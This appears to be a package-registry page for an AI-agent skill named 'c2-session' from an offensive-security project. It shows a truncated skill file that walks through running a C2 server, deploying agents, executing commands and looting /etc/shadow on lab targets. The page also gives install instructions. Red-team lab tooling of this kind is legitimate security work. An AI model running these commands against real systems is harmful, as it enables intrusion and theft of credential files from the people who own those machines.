Operate live malleable C2 sessions against lab targets: headless server lifecycle, agent deploy, command exec, file loot, and emulation. Knows credential rotation, AES key discipline, Python 2.5 agent constraints, and fd hygiene.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# /c2-session Run live operations through a malleable C2 session on lab targets. Everything here is non-interactive and loop-routable except the final attach step, which is foreground-terminal only by design. ## Lifecycle (in order) ``` c2_server start # headless lazyc2; idempotent, keeps creds c2_deploy 172.17.0.2 # drop + launch agent via shell primitive c2_exec msf-172-17-0-2 id # issue command, wait, print answer c2_loot 172.17.0.2 /etc/shadow # exfiltrate to sessions/loot/ + manifest c2_reboot # stop, rotate operator creds, fresh boot c2_server stop # stop the headless server ``` `c2_server start` never rotates credentials (live agents stay valid). `c2_reboot` always rotates them and re-syncs every store. ## Credentials (single source of truth) - The RUNNING server's login lives in `.c2_credentials.txt` — rewritten on every managed boot. If login fails, compare it against `c2_server status` (`live_user`): different values mean the server was started outside the manager with other creds. - Lab machine state (user, password, ports, AES snapshot) lives in …

How to install
mdr add grisuno/lazyown/c2-session@sha256:da40744c114cb1b5The line at the top of this page pins the label git:20261016.87c0ac4, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
